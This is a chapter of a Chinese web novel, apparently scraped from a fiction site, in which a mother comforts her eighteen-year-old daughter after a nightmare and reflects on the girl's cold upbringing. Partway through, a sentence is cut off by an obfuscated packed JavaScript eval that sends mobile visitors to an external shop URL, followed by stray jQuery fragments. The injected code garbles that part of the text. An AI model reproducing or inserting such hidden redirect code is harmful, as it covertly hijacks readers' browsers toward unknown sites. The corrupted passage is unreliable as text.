文趣网 > 都市小说 > 假千金认错妈咪后 > 11. 第 11 章
    祁长笙睡眠一向浅,门外那点窸窸窣窣的动静刚响了两声,她便睁开了眼。

    起初以为是经过的佣人,但她此前叮嘱过,没有她的允许,尤其是睡觉时间,谁也不能随便上来。

    想起这层楼还住着的另外一人,她侧耳听了片刻。

    脚步声很轻,走到门口便停住了,不再往前,也没有敲门。

    影子透过门缝,停在那里。

    祁长笙微微眯眼,片刻后掀开被子起身。

    门开的那一刻,走廊壁灯昏黄的光铺进来,落在一脸惊慌的迟未晞脸上。

    眼眶还泛着红,眼睫湿漉漉地黏在一起,整张脸都带着惊魂未定的苍白。

    看见祁长笙,她嘴唇动了动,一个字还没来得及说出口,那颗悬在眼眶里的泪便先滚了下来。

    祁长笙的眉头登时蹙了起来,抬手蹭过那滴眼泪:“怎么了宝贝。”

    手感涩涩的。

    迟未晞没睡好,本就脆弱的神经听到她这么一句话,瞬间便再绷不住。

    她自己也没想到会哭,明明在门口站了那么久都没事的,可一看到妈妈的脸,一闻到那股熟悉的气息,委屈就像开了闸一样涌上来。

    梦里那个交握的手的画面还残留在意识里,那个人影虽然模糊,但那种被隔在外的感觉却异常清晰。

    她站在她们面前,伸出手,却谁也够不到。

    “我……”迟未晞一开口就不自觉地哽咽,觉得丢脸,抹了把眼泪,“做噩梦了。”

    迟未晞说完便低着头,眼泪扑簌簌地往下掉,再也止不住。

    祁长笙伸手,将迟未晞轻轻拉进怀里,掌心覆上迟未晞的后脑,将那颗还在微微发颤的脑袋按在自己肩窝里。

    另一只手环过她的腰,收紧,像是要把那些不安统统挡在臂弯之外。

    “梦到什么了?”祁长笙的声音压得很低,混着刚醒时特有的微哑。

    迟未晞窝在她怀里,摇摇头,眼泪蹭在了她的衣服上,“不能说。”

    “那就不说。”祁长笙轻哄着,“妈妈在呢。”

    祁长笙侧过脸,鼻尖轻轻蹭过她软软的头发,是小孩身上独有的那种暖融融的味道。

    母爱这种东西,在她原本的认知里,是柔软的、包容的,是电视剧里那种永远张开双臂的形象。

    她觉得自己浑身上下找不到一点那样的特质。

    可是此刻,在凌晨四点钟的走廊里,她抱着一个因为噩梦而哭泣的孩子,手掌不自觉地在那纤细的背上一下一下地拍着。

    她甚至没有意识到自己在这样做,等反应过来的时候,手已经拍了很久了。

    祁长笙闭了闭眼,把脸往迟未晞的发间埋了埋。

    “不管做了什么,那都是梦。”祁长笙轻声开口,“醒了就不是真的了。”

    迟未晞在她怀里闷闷地"嗯"了一声,但手臂还是紧紧地箍着她的腰,没有松开的意思。

    怀里的小孩对她展示着自己毫无保留的依赖与信任。

    因为在她的认知里,自己是她的妈妈吗?

    祁长笙安抚着小孩的情绪,有些漫无边际地想着。

    如果当初那个阴差阳错的决定没有发生,那此刻这个抱着她发抖的女孩会是谁在哄呢?

    会是另一个人吗?

    另一个人也会这样抱着她、大半夜陪着她,哄着她只为了让她不再害怕吗?

    这些问题没有答案,也不需要答案。

    唯一的答案在她的怀里。

    祁长笙感受着她渐渐平静下来的呼吸,“好点了吗?”

    迟未晞点头,“嗯。”

    祁长笙抬手,看了看时间。

    “还睡觉吗?”

    迟未晞点头,“嗯。”

    手臂却没有丝毫松开的意思。

    祁长笙轻笑,“舍不得妈妈?”

    “……嗯。”

    “这么黏人啊宝贝。”

    迟未晞没吭声。

    祁长笙抬手,揉了揉她的脑袋,“宝贝可以自己一个人睡觉吗?”

    半晌,迟未晞摇了摇头,又说,“可以。”

    祁长笙笑了笑,“那要和妈妈一起睡吗?”

    迟未晞抬起头,眼睫上还挂着泪珠,目光里带着一点不确定的怔愣:“可以吗?”

    祁长笙垂眼看着她,指尖抹掉她颊侧一滴蹭在下巴的泪,“你是妈妈的小孩,和妈妈一起睡觉,有什么不可以的?”

    —

    祁长笙的房间比迟未晞想象中还要大,推开门的瞬间,只借着走廊透进来的光能看到影影绰绰的轮廓。

    家具不多,床是唯一视觉重心,宽大的床榻铺着深灰色的床品,在夜色里像一片沉静的水面。

    迟未晞犹豫了一下,脚步顿在门口。

    祁长笙已经坐在床上,靠着床头,顺手开了床头灯。

    光晕昏黄,只够勾勒出床边那一小片区域,更多的空间都隐在暖昧的阴影里。

    祁长笙指尖轻轻点了点自己身旁的床单,“愣着做什么,过来。”

    迟未晞挪过去,爬上床的动作像一只初学走路的小动物,小心翼翼。

    祁长笙没说话,只是顺手把被子掀开一角,示意她躺进来。

    迟未晞躺下,被子盖到下巴,只露出一双眼睛,目光有些无措地落在天花板上。

    壁灯的光太暗了,什么都看不真切,只感觉到身侧那道存在感极强的温热。

    和白天在躺椅上并排晒太阳不同,此刻光线昏暗,一切都暧昧不明。

    迟未晞不敢动。

    她僵直地平躺着,双手规矩地放在小腹上,像一具等待入殓的标本。

    祁长笙关掉壁灯,房间重新落入黑暗。

    “放松,”祁长笙的声音在黑暗里响起,隔着一臂的距离,淡淡地飘过来,“你这么绷着,会睡不着的。”

    迟未晞嗯了一声,试着呼出一口气,放松肩膀,却只是把僵硬从躯干转移到了四肢。

    她听见身侧传来一声几不可闻的轻笑。

    然后一只手臂伸过来,准确地揽住了她的腰,将她整个人往那个方向带了带。

    迟未晞额头差点撞上祁长笙的下巴,立刻停住,呼吸屏住,不敢再往前半寸。

    “这样会不会好一点?”祁长笙的声音贴着她头顶,带着一点困倦的慵懒。

    那气息拂过发顶,迟未晞整颗心都荡了一下。

    她小心地呼出那口屏了太久的气,闷闷地“嗯”了一声。

    祁长笙的手臂搭在她腰侧,松松地拢着,“要妈妈给你讲睡前故事吗?”

    迟未晞自觉因为做噩梦和妈妈一起睡觉都已经不是十八岁的人该做的事,再要妈妈给她讲故事,实在太幼稚了一些。

    迟未晞摇了摇头,把脸往祁长笙的肩窝里又埋了埋,鼻尖抵着那片温热的皮肤,细碎地嗅着那股让她安心的气息。

    她在心里对自己说:没关系的,这是妈妈。

    女儿和妈妈一起睡,是全世界最正常不过的事情。

    十八年前她本该就在这个怀抱里长大,如今只是补回那些

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17977477|214777||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    错过的夜晚而已。

    她想起迟家养母的卧室,她从未在深夜里敲过那扇门。

    小时候摔了跤,膝盖磕破了皮,也只是自己爬起来,用湿毛巾按着伤口,坐在楼梯拐角的阴影里等血止住。

    那时候她想,小孩子是不应该打扰大人的。

    可祁长笙不一样。

    妈妈不一样。

    她在黑暗里偷偷弯了一下唇角,然后在祁长笙怀里微微调整姿势,又往祁长笙怀里缩了缩。

    整个人的重量松弛下来,完完全全地靠了过去。

    在铺天盖地的柑橘苦香和体温的热意里,沉沉地坠入了睡意。

    祁长笙却没有立刻入睡。

    她侧躺着,听着迟未晞在黑暗中逐渐变得均匀绵长的呼吸。

    收紧手臂,把迟未晞往怀里拢了拢。

    她不知道该怎么做妈妈。

    她没有模板。

    她的母亲没有教过她,舒沅也没有来得及。

    她只是凭着直觉去做,凭着这些天来身体比脑子先一步的条件反射。

    在确认迟未晞身份后,她就派人调查过迟未晞出生以来的所有事。

    那些零碎的口述被整理成规整的段落,一字一字地印在纸上,堆在桌角,压着暮色。

    迟未晞在迟家的十八年,是迟家大小姐被规训成形的全部过程。

    两岁开始上礼仪课,四岁学习各种外人眼中富家千金应该精通的一切,琴棋书画、六岁开始学习各种语言,九岁那年已经能跟着家宴上往来的客人用多种语言打招呼。

    迟家的养母们并不吝于给她请最好的老师,安排最紧密的日程。

    把她培养成外人眼中优秀得体、落落大方的迟家千金。

    外人眼里,这位迟家大小姐是被金玉堆着养大的。

    可在她的调查里,却又是另一副样子,一位退休的佣人说大小姐小时候其实很黏人,三四岁的时候还会往养母怀里钻,后来渐渐地不那样了。

    说迟未晞大概七八岁的时候,发烧烧到四十多度,躺在床上迷迷糊糊地叫“妈妈”,养母那天恰好有应酬,在门口停了片刻,说“让医生来看,我晚点回来”,就走了。

    说那之后大小姐再生病就再没叫过人,能撑着就撑着,常常是被佣人发现后才叫了家庭医生来看。

    迟未昭被接回迟家的那几天,迟家上下所有人的态度几乎在一天之内完成了翻转。

    养母们措辞温吞而体面,对着记者和宾客说“晞晞也是我们的孩子,我们不会丢下她”,但转头对迟未晞的安排却是着手联姻。

    迟家两位养母的理由是:“这样你以后也有个依靠,迟家不会亏待你。”

    找到她的那天,她的人查到了迟未晞购买的去北城的票。

    也是那天,迟未晞浑身湿透,发着烧,缩在她怀里叫妈妈。

    才十八岁,刚成年的小孩。

    如果当年的一切都没有发生、舒沅那么爱她。

    她会被人捧着长大,想撒娇就撒娇,想哭就哭,做噩梦了随时随地可以推开妈妈的房门。

    她应该更理直气壮一些的。

    应该像那晚发烧时一样,肆无忌惮地往她怀里钻,妈妈妈妈地叫个不停,哭也好闹也好。

    不用像现在这样,被噩梦惊醒后连妈妈的门都不敢敲。

    怎么这么乖啊宝贝。

    乖得让人心疼。

    睡吧。睡吧。

    妈妈在呢,宝贝。

    有妈妈在的地方,什么噩梦都走不进来。